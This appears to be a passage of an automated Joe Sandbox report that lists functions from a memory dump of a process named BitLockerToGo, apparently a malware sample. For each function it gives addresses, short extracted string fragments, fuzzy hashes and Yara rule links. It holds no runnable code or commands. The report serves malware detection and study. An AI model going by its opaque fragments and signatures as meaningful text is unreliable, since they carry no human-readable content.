\", xrefs: 00417ADE
2#E#, xrefs: 00417AF0
]#^#, xrefs: 00417968

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2#E#$@#O#$G#;#$M#X#$Y#S#$[#@#$\"$]#^#$##
API String ID: 0-479699498
Opcode ID: 45272892d45149cd438995c8ea1f7b94d69bae0bd1d0544904f269d3cc6ee449
Instruction ID: 7f27c49e7c94b4d10b5370819cf722759646e6727da8469b84d408ed18f423d3
Opcode Fuzzy Hash: 45272892d45149cd438995c8ea1f7b94d69bae0bd1d0544904f269d3cc6ee449
Instruction Fuzzy Hash: 94B156B05293818BD3798F14D4917EBB7F1EFC6304F148AADD4CA9B250EB348985CB96

Function 0041AE87 Relevance: 10.4, Strings: 8, Instructions: 381COMMON

Download Yara Rule

Strings

j5x5, xrefs: 0041B19F
-1_1, xrefs: 0041B256
A>A, xrefs: 0041AEE8, 0041AEEC, 0041AF7F, 0041AFEC, 0041B08A, 0041B101
p5w5, xrefs: 0041B1B7
p5, xrefs: 0041B1A7
d, xrefs: 0041B2F5
' , xrefs: 0041B2A5
p55, xrefs: 0041B1C7

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: A>A$' $-1_1$d$j5x5$p5$p5w5$p55
API String ID: 0-3154447829
Opcode ID: c68db94be781fdeac12f7f4d991d4ccde1ed6db1db41ac42c5c63958503d75d9
Instruction ID: 6542572ee08b2f9f63caf3940d11828b89c8ca182eacda133ddebf08090a571d
Opcode Fuzzy Hash: c68db94be781fdeac12f7f4d991d4ccde1ed6db1db41ac42c5c63958503d75d9
Instruction Fuzzy Hash: 3DC169B551C3449AD708DF6AD81686FBAF6EFD6304F04C82CE0899B361E639C644CB5B

Function 0041B3C6 Relevance: 10.2, Strings: 8, Instructions: 219COMMON

Download Yara Rule

Strings

j5x5, xrefs: 0041B19F
-1_1, xrefs: 0041B256
p5w5, xrefs: 0041B1B7
A>A, xrefs: 0041B178, 0041B17C
p5, xrefs: 0041B1A7
d, xrefs: 0041B2F5
' , xrefs: 0041B2A5
p55, xrefs: 0041B1C7

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: A>A$' $-1_1$d$j5x5$p5$p5w5$p55
API String ID: 0-3154447829
Opcode ID: 4a068b9f762550d7c59bac50240e4c43d876da3c1b22c80e3080d64a68812b49
Instruction ID: 1c07c9a540d6b8efe5ca87d6fc86f47dc3a41f56f8d20e88fc6147ed79b22d96
Opcode Fuzzy Hash: 4a068b9f762550d7c59bac50240e4c43d876da3c1b22c80e3080d64a68812b49
Instruction Fuzzy Hash: 7D719AB551C310ABD708DF6AD8168AFBAF6EFD5305F04C82DE48887350E638C5448B5A

Function 004095F0 Relevance: 9.1, Strings: 7, Instructions: 393COMMON

Download Yara Rule

Strings

act, xrefs: 00409857, 00409864, 00409A98
!<, xrefs: 00409924
a7, xrefs: 0040990C
2C1B840C4ED5F58F4EC0E979F11769B5, xrefs: 004096EB
cb, xrefs: 004098FC
rf, xrefs: 00409904
i{, xrefs: 0040991C

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !<$2C1B840C4ED5F58F4EC0E979F11769B5$act$a7$cb$i{$rf
API String ID: 0-670324967
Opcode ID: 86e92a998aa1ea2e0f6073676f518e52462d5e6c92c5c88b1a63f6f499f7482c
Instruction ID: 3cf3d8ee2c8f5a358792c2fe916356df29e4bc0209edd4e09c18525d3d907d92
Opcode Fuzzy Hash: 86e92a998aa1ea2e0f6073676f518e52462d5e6c92c5c88b1a63f6f499f7482c
Instruction Fuzzy Hash: ADC126B2A187108BD318CF25C84066BB7E6FFC5304F15892DE5D5AB3A1DBBD9805CB86

Function 0041B427 Relevance: 8.0, Strings: 6, Instructions: 513COMMON

Download Yara Rule

Strings

8:, xrefs: 0041B828
d.h., xrefs: 0041B97E
v:g:, xrefs: 0041B5C6
., xrefs: 0041B99E
(./., xrefs: 0041B996
(:z:, xrefs: 0041B7E8

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: (./.$(:z:$8:$d.h.$v:g:$.
API String ID: 0-3666395891
Opcode ID: 63c1c7cc027aac49b0323a6be64af49e2444ef1c0d19ce9558f290cf641a5ab7
Instruction ID: faadfb5b07b3a01eb163f203b309823f8bdc7601debab3d902b640c2a6561c98
Opcode Fuzzy Hash: 63c1c7cc027aac49b0323a6be64af49e2444ef1c0d19ce9558f290cf641a5ab7
Instruction Fuzzy Hash: 05D101B15183148BC718DF14C8826ABB3B1FFE9354F14891DE4859B3A0F77C9A84C79A

Function 0041FC40 Relevance: 8.0, Strings: 6, Instructions: 494COMMON

Download Yara Rule

Strings

t3, xrefs: 00420019
h't, xrefs: 0041FD5D
;>>, xrefs: 0041FCEA
&> >, xrefs: 0041FD42
8>>, xrefs: 0041FCE2
=>3>, xrefs: 0041FCFA

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &> >$8>>$;>>$=>3>$h't$t3
API String ID: 0-1698606997
Opcode ID: 1967b17bf7447eda783b504030ec950db28d5bb331df22f7fe09a39943fb8333
Instruction ID: d34ed57fac0b554c0e8c558676f148ee66d8187c39776088df00cf94b577dc65
Opcode Fuzzy Hash: 1967b17bf7447eda783b504030ec950db28d5bb331df22f7fe09a39943fb8333
Instruction Fuzzy Hash: CDD123719083148BC324DF28C8516ABB3F1FFD1350F198A2DE9859B3A0E7799945CB8A

Function 00424AB0 Relevance: 7.7, Strings: 6, Instructions: 219COMMON

Download Yara Rule

Strings

II, xrefs: 00424B8E
II, xrefs: 00424B6E
)&, xrefs: 00424C90
w, xrefs: 00424C66
%I$I, xrefs: 00424BAE
II, xrefs: 00424B7E

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %I$I$)&$w$II$II$II
API String ID: 0-4115442998
Opcode ID: 099fca32a5a0381d3200e712ef51abc6305ba87ef9cbe0321e73727cab072e75
Instruction ID: 9a82d86a50bb1d943e9aee27f3bcdda412eef8f680ea667c45a6bc25959f695a
Opcode Fuzzy Hash: 099fca32a5a0381d3200e712ef51abc6305ba87ef9cbe0321e73727cab072e75
Instruction Fuzzy Hash: 656135B12193108BD714DF26E85222BB6E1FFD1354F56C92DE6C58B394EB78C940CB4A

Function 0041508C Relevance: 7.5, Strings: 5, Instructions: 1251COMMON

Download Yara Rule

Strings

D, xrefs: 0041540B
^6d6, xrefs: 0041523A
7\6, xrefs: 00415232
Yj]j, xrefs: 0041519E
2[A, xrefs: 00415B22

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2[A$D$Yj]j$^6d6$7\6
API String ID: 0-4002117736
Opcode ID: 09de04ddfc22846e8d90e8624b3dcdff5cfe688476c99d53f7b16d8ccdb9ba5f
Instruction ID: 65facd696550c81917b79e18011b573b99a6ce16cc60624ffa50a3b763ffd147
Opcode Fuzzy Hash: 09de04ddfc22846e8d90e8624b3dcdff5cfe688476c99d53f7b16d8ccdb9ba5f
Instruction Fuzzy Hash: 43721374118301CBD728CF24C891BABB7E2FFCA304F59496DE4869B361E7388945CB5A

Function 004258C0 Relevance: 6.8, Strings: 5, Instructions: 529COMMON

Download Yara Rule

Strings

hW4i, xrefs: 00425F2B
:0>z, xrefs: 00425F43
$s(w, xrefs: 00425F23
$o)p, xrefs: 00425F3B
P[B, xrefs: 00425ED0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $o)p$$s(w$:0>z$P[B$hW4i
API String ID: 0-4169148768
Opcode ID: 92bff637c38e803f548c52a7efeb1d358451f7fd467df843ebc95df7d03fbb13
Instruction ID: 90a262017232193678903056d2074bc7886d7778d7aabcd8a83e3143f0e93dff
Opcode Fuzzy Hash: 92bff637c38e803f548c52a7efeb1d358451f7fd467df843ebc95df7d03fbb13
Instruction Fuzzy Hash: F2026675A187908FC7149F25E84126BBBE1AFC6304F48883EE5C59B391E739D905CB8A

Function 00414BFF Relevance: 6.5, Strings: 5, Instructions: 248COMMON

Download Yara Rule

Strings

gfff, xrefs: 00414DA0
I[C[, xrefs: 00414CC0
4[, xrefs: 00414CAC
@[k[, xrefs: 00414CA4
7, xrefs: 00414D13

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4[$7$@[k[$I[C[$gfff
API String ID: 0-4159987592
Opcode ID: 0258b57c9dd407ffd696f3744c87620aeba75f9196f01a32ac6b1d76cfd3850a
Instruction ID: 8cdd63041f0f842168102e3a5758eccb549fd33851e9219b6cf928ec0aa00146
Opcode Fuzzy Hash: 0258b57c9dd407ffd696f3744c87620aeba75f9196f01a32ac6b1d76cfd3850a
Instruction Fuzzy Hash: E47157B2A142214BC338CF29DC527AB72D6EBC5314F09863ED485DB395EB38C94687C4

Function 004278E0 Relevance: 5.4, Strings: 4, Instructions: 386COMMON

Download Yara Rule

Strings

RuB, xrefs: 0042753E
&%, xrefs: 004279AE
AF, xrefs: 00427A86, 00427ACA
AF, xrefs: 00427B10

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &%$RuB$AF$AF
API String ID: 0-3852744230
Opcode ID: 88d226bd17e06d4a50ad62b2e6fdf24f15a5ca1c4edb3bfdd6b42e1eb4cdd823
Instruction ID: dfa204c89a3c58449d1a0b749b393e7ded32929c94e4c84fc42d7b7b284c9193
Opcode Fuzzy Hash: 88d226bd17e06d4a50ad62b2e6fdf24f15a5ca1c4edb3bfdd6b42e1eb4cdd823
Instruction Fuzzy Hash: 5EB1CDB42083118BC714DF59D86176BB7B1FF86364F04892DE4868B7A0E778DA44CB9A

Function 004187B0 Relevance: 5.0, Strings: 3, Instructions: 1259COMMON

Download Yara Rule

Strings

aa, xrefs: 00418BBB
aa, xrefs: 00418BB3
aa, xrefs: 00418BA3

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: aa$aa$aa
API String ID: 2994545307-1415837818
Opcode ID: 05b8bf578a61307734bfe628953ef62c7d2f2f2bb29f05ab28d29850d8836f52
Instruction ID: 4ebdd1466e0f266038cad9e56a4b6f857e8bacc5c0bd639eab04d4e0b70e9bb2
Opcode Fuzzy Hash: 05b8bf578a61307734bfe628953ef62c7d2f2f2bb29f05ab28d29850d8836f52
Instruction Fuzzy Hash: 3882E1356083009BD728DF64C951BABB7E2FFD5700F14882EE9859B361DB759C81CB8A

Function 00404C50 Relevance: 3.3, Strings: 2, Instructions: 826COMMON

Download Yara Rule

Strings

8, xrefs: 00405597
0, xrefs: 0040559F

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 3ed0d6830a8554cf46025e2987cd2b095edf7e30737a53db60f8be4faf2ae410
Instruction ID: 0cabc95b40cbdf852b40321e471e995f7ff437c6369a2c1dd20d38e14c43e175
Opcode Fuzzy Hash: 3ed0d6830a8554cf46025e2987cd2b095edf7e30737a53db60f8be4faf2ae410
Instruction Fuzzy Hash: F67236716083419FD714CF28C880B9BBBE1AFC4314F14892EF9899B391D379D949CB96

Function 0043CF30 Relevance: 3.1, Strings: 2, Instructions: 579COMMON

Download Yara Rule

Strings

_Ve;, xrefs: 0043D33D, 0043D35B
_Ve;, xrefs: 0043D05B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _Ve;$_Ve;
API String ID: 0-151471760
Opcode ID: 7c31af2349487065de3ec16c50fa5805335ed70d4b80ecce53eca0737d434edb
Instruction ID: b9cef9a62d789277b08974abb1ffb3ade618f9a29f5c2e9914fbabe007b2601f
Opcode Fuzzy Hash: 7c31af2349487065de3ec16c50fa5805335ed70d4b80ecce53eca0737d434edb
Instruction Fuzzy Hash: 0012E436B14210CFD318CF28E89066AB3E2EFCA314F1A857DD98997394DB39DC558B85

Function 004218B7 Relevance: 2.9, Strings: 2, Instructions: 391COMMON

Download Yara Rule

Strings

Wmc', xrefs: 00421CB5
!}, xrefs: 00421A14

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Wmc'$!}
API String ID: 0-2669877982
Opcode ID: 44664b35395161a749d65300822a10a44aefc4fe1f7dee0ed1090c52d52e3bcd
Instruction ID: 8c0078ad2e5ec3af00df463890218d70eee204b7817b341e649e300aeaab5c14
Opcode Fuzzy Hash: 44664b35395161a749d65300822a10a44aefc4fe1f7dee0ed1090c52d52e3bcd
Instruction Fuzzy Hash: 1EC10EB56083A08BD324DF25D89076BBBE1FFE6700F158A2DE4C59B360D7799801CB86

Function 00416106 Relevance: 2.9, Strings: 2, Instructions: 386COMMON

Download Yara Rule

Strings

L4, xrefs: 00416470
L4, xrefs: 004161B0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: L4$L4
API String ID: 2994545307-3214460456
Opcode ID: a09ee7167c115e170ee42f0b26bdb240993a8ea3bbdbe79a7d92323b5bf92e40
Instruction ID: 0731e5ece17aa7bf616b3a6a295aa08d5fa02eeb2a81c467f509a8fc4edcbb82
Opcode Fuzzy Hash: a09ee7167c115e170ee42f0b26bdb240993a8ea3bbdbe79a7d92323b5bf92e40
Instruction Fuzzy Hash: 67C15871208301AFC724CF24D891BABB7E2FFD5314F15492DE58687261DB34D885CB4A

Function 00404320 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 0040439B
IEND, xrefs: 00404711

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 8c0879b488e29b7b094453b4c94cba1a031e2a5f1f351697210e4e01a418adc0
Instruction ID: 332bef3d2256316ea487da6c93dd4fd52e2146b24c4f6939ef00c301c6d45761
Opcode Fuzzy Hash: 8c0879b488e29b7b094453b4c94cba1a031e2a5f1f351697210e4e01a418adc0
Instruction Fuzzy Hash: 5ED1D0B19083449FD710DF14D84175FBBE4AB94308F14482EFA98AB3C2D779D908CB96

Function 0042F069 Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

$*W{, xrefs: 0042F278
$*W{, xrefs: 0042F271

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $*W{$$*W{
API String ID: 0-3402859032
Opcode ID: e217d1e85ac749c711554024fabc208f082ea7765bcccc4869b06ed7844579f9
Instruction ID: 89601e843a8af6c4a7b9a2e3ca9b4a9194c7c5369a803fd787dd20af866d41cc
Opcode Fuzzy Hash: e217d1e85ac749c711554024fabc208f082ea7765bcccc4869b06ed7844579f9
Instruction Fuzzy Hash: 6FD10576605B408FC314CF38D8912A6BBF2FFD9314F19897DD5AA8B3A5EA34A405CB05

Function 0042D65C Relevance: 2.8, Strings: 2, Instructions: 297COMMON

Download Yara Rule

Strings

$*W{, xrefs: 0042D84B
$*W{, xrefs: 0042D844

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $*W{$$*W{
API String ID: 0-3402859032
Opcode ID: e0e532e5eed10512a05d9f33e28991b7ab72ab192889a2371727cc8a6b9819e2
Instruction ID: b3fe1d90cb9c26ad1efe6a8261d78966e4932c76ce12017a8fd756a5f4e4757a
Opcode Fuzzy Hash: e0e532e5eed10512a05d9f33e28991b7ab72ab192889a2371727cc8a6b9819e2
Instruction Fuzzy Hash: 51C12876604B408FC314DF38D8912A6BBF2FFD9304F19856DD5DA8B3A5E634A405CB46

Function 00408EE0 Relevance: 2.8, Strings: 2, Instructions: 274COMMON

Download Yara Rule

Strings

8, xrefs: 0040904A
{|, xrefs: 00408FFB

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 8${|
API String ID: 0-3202841668
Opcode ID: 3a4bf5a68616b208143da4ed44c08f0214b4fe7e5986b103ebe526cfbc1605f2
Instruction ID: f4279dad7fc729c772346c1dddf8315196a190289476fe21baff5b3aa9135ae8
Opcode Fuzzy Hash: 3a4bf5a68616b208143da4ed44c08f0214b4fe7e5986b103ebe526cfbc1605f2
Instruction Fuzzy Hash: AC71F57460C3828AD7158F65845037BFBE0AFA6344F14487EE4D1AB382D779C90AC76A

Function 0041695C Relevance: 2.4, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

`, xrefs: 00416C4F, 00416C75

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-1305765250
Opcode ID: 895bdd23654af2fb364c17a96863134e6f6d8bac363d368a96ee22f748821227
Instruction ID: 38f18979144820d99dee7be26b945be2aac2fb028bfa52c60cecf0e4c905a6d9
Opcode Fuzzy Hash: 895bdd23654af2fb364c17a96863134e6f6d8bac363d368a96ee22f748821227
Instruction Fuzzy Hash: 9D82F1715083118BC724CF24C8917ABB7F1EFC9714F19892DE8C99B360EB389991CB5A

Function 0040F8A6 Relevance: 2.2, Strings: 1, Instructions: 989COMMON

Download Yara Rule

Strings

+, xrefs: 004101B2

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: a64b34fce99f051cdda37bd8dc09b4b96a909e6ab97d51a4b6ddcf059080cc53
Instruction ID: f9e47fcdc7dd1a288488f0cb1851d021d3a8dcab6bad8c8dbb85561ee67222a3
Opcode Fuzzy Hash: a64b34fce99f051cdda37bd8dc09b4b96a909e6ab97d51a4b6ddcf059080cc53
Instruction Fuzzy Hash: D782F6B5A14B008FD714EF38C5813A7BBE1AF45314F148A3EE8AA873D1E778A545CB46

Function 00413DC0 Relevance: 2.0, Strings: 1, Instructions: 735COMMON

Download Yara Rule

Strings

D]+\, xrefs: 004142D0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 99920237508a57bee3f7b9fb797ff301e56fd41b745c58b9ee7d0abd35740245
Instruction ID: ddae89e94fa7613d7035970ae1e98dcf5c7a0bdc30b84621de2eb000d4a5645c
Opcode Fuzzy Hash: 99920237508a57bee3f7b9fb797ff301e56fd41b745c58b9ee7d0abd35740245
Instruction Fuzzy Hash: 422221B9604200DBD3149F28EC42B6B73B1FF8A325F44062DF991872E1E7389D56C79A

Function 0043A7E0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

f, xrefs: 0043A9D9

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: b5f96252524c328db2b3e4b0ccb71f686dc1aca6dd8f00f983b4eeac3d8302c9
Instruction ID: 8677803f5b7207b9331cf369e27e8e1d4aef0792b67f5df50bdee3370153d24d
Opcode Fuzzy Hash: b5f96252524c328db2b3e4b0ccb71f686dc1aca6dd8f00f983b4eeac3d8302c9
Instruction Fuzzy Hash: 7C12B1716483008FC324CF19C890A2BB7E2BF89724F159A2EE9E557391D735AD15CB8B

Function 0041BE9F Relevance: 1.7, Strings: 1, Instructions: 487COMMON

Download Yara Rule

Strings

Subu, xrefs: 0041C110

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Subu
API String ID: 0-3714210173
Opcode ID: a0665cb699aaac200b281647bfda6ed39870c1ee095be1e80f08b263db44fa61
Instruction ID: 4d1556d5dabe764ea5d93671de273c0167a2ce56800b098de114dd600b9d70d8
Opcode Fuzzy Hash: a0665cb699aaac200b281647bfda6ed39870c1ee095be1e80f08b263db44fa61
Instruction Fuzzy Hash: 72D10472A583108BD7148F64CC413ABB3E2EFD5344F1AC52DE9C4AB394E6799941878A

Function 0043D090 Relevance: 1.7, Strings: 1, Instructions: 476COMMON

Download Yara Rule

Strings

_Ve;, xrefs: 0043D33D, 0043D35B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _Ve;
API String ID: 0-1939530796
Opcode ID: 6f0711ffefb6b9e6ef88812676b5a3e6c40b791f2a293509a016d1b6b7337fbc
Instruction ID: 3b85f0a38b19b5696cf2eb78a9cded777bf4d33cdc9bef41e924c03e673bc628
Opcode Fuzzy Hash: 6f0711ffefb6b9e6ef88812676b5a3e6c40b791f2a293509a016d1b6b7337fbc
Instruction Fuzzy Hash: 69F1F336A14210CFD308CF28E89065AB3E2FBCA314F1A897DD98997354DB39DC55CB85

Function 00427100 Relevance: 1.7, Strings: 1, Instructions: 472COMMON

Download Yara Rule

Strings

RuB, xrefs: 0042753E

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: RuB
API String ID: 0-1524862659
Opcode ID: 13d3065cf8ce39c74fde21846a5ee6e5a48da03ebdc9ddc5ed20c783defba15a
Instruction ID: 62719fa0ebf5d16e81ef8d0d5fabe93f3ad5b8af322d947f49754a29f0e22078
Opcode Fuzzy Hash: 13d3065cf8ce39c74fde21846a5ee6e5a48da03ebdc9ddc5ed20c783defba15a
Instruction Fuzzy Hash: 11E1E17260C3218BD314CF68D8517ABB3E1FFC5304F46892DE9999B390E7789905CB9A

Function 004330EE Relevance: 1.7, APIs: 1, Instructions: 189COMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 00433175

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Object
String ID:
API String ID: 2936123098-0
Opcode ID: cd1147a0fd4e65e800d773def7f2de9dd0ffddb6b4b92991d3245049d29392ef
Instruction ID: dfad21f5afe3abcc05f2451037bd241eb2e990617940d8abb69a7bd6536d9051
Opcode Fuzzy Hash: cd1147a0fd4e65e800d773def7f2de9dd0ffddb6b4b92991d3245049d29392ef
Instruction Fuzzy Hash: 0C815DB5E002158FDB08DF68C9916AEBBF2BF8D300F258169D859AB350D7349D01CB95

Function 0043D140 Relevance: 1.7, Strings: 1, Instructions: 438COMMON

Download Yara Rule

Strings

_Ve;, xrefs: 0043D33D, 0043D35B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _Ve;
API String ID: 0-1939530796
Opcode ID: 837c66b50d2ae596e21dd87d4d97af93c60dfb4c85b4304c5505eb5a1693ee45
Instruction ID: 179fb81e209a9126aee668462e0e7eeea8eb11d06fecca632c20efe6f5e23dca
Opcode Fuzzy Hash: 837c66b50d2ae596e21dd87d4d97af93c60dfb4c85b4304c5505eb5a1693ee45
Instruction Fuzzy Hash: 14E10536A14210CFD318CF28E89066AB3E2FFC9314F1A897DE89997354DB39DC558B85

Function 0043D1D0 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

_Ve;, xrefs: 0043D33D, 0043D35B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _Ve;
API String ID: 0-1939530796
Opcode ID: 01b681acaaf8cfe9d95a95cf0a6eead1e27eefb0fd4692f0e69128d432eec5f9
Instruction ID: 330e403d0652c3068399858570d97d18b12cd48a1c18ec82e72964fe0d0ca427
Opcode Fuzzy Hash: 01b681acaaf8cfe9d95a95cf0a6eead1e27eefb0fd4692f0e69128d432eec5f9
Instruction Fuzzy Hash: 2DE11636B142108FD318CF29D89166BB3E2EFC9314F0A897DD899D7394DA39DC458B85

Function 00414620 Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

*<, xrefs: 00414A5C

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *<
API String ID: 0-31302224
Opcode ID: d021d1e27a8b080e9ca32d5ac4b0c2fc9e27e53c751eb93a3315a99bcf08efee
Instruction ID: 975738940ea86278593d4b2db08cc52da99656c47fc2cfe6abed545f71517476
Opcode Fuzzy Hash: d021d1e27a8b080e9ca32d5ac4b0c2fc9e27e53c751eb93a3315a99bcf08efee
Instruction Fuzzy Hash: 54D1F6B55093008BD721AF24D8517EBB3A4FFC6314F14452EE5C99B3A1EB389941CB5A

Function 00438292 Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

